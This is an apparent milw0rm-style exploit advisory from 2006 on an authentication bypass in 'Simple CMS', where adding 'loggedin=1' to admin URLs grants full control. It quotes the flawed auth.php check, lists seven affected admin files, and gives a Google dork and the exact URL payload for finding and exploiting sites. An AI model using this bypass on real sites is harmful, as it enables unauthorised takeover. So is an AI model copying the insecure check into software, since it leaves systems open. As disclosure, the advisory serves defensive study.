Simple CMS - Administrator Authentication Bypass

Simple CMS <[email protected]>

Information:
The cms from http://www.cms-center.com/ uses no security at all, just a boolean 
"isloggedin". If you submit "loggedin=1" in the URL of any of the admin pages, 
you get full controll.

Vulnerable code:
<auth.php>
if ($loggedin != "1"){
	header("Location: /login.php?e=1"); /* Redirect browser */ 
	/* Make sure that code below does not get executed when we redirect. */ 
	exit; 
}
//echo "ok";

Vulnerable files:
/admin/item_modify.php
/admin/item_list.php
/admin/item_legend.php
/admin/item_detail.php
/admin/index.php
/admin/config_pages.php
/admin/add_item1.php

Proof:
1. Google for "powered by php mysql simple cms"
2. type "admin/config_pages.php?loggedin=1" behind the url
3. Done. It works on every admin page that uses the so called auth.php.

I tried to contact the author, but i was unable to find ANY contact info.

# milw0rm.com [2006-08-07]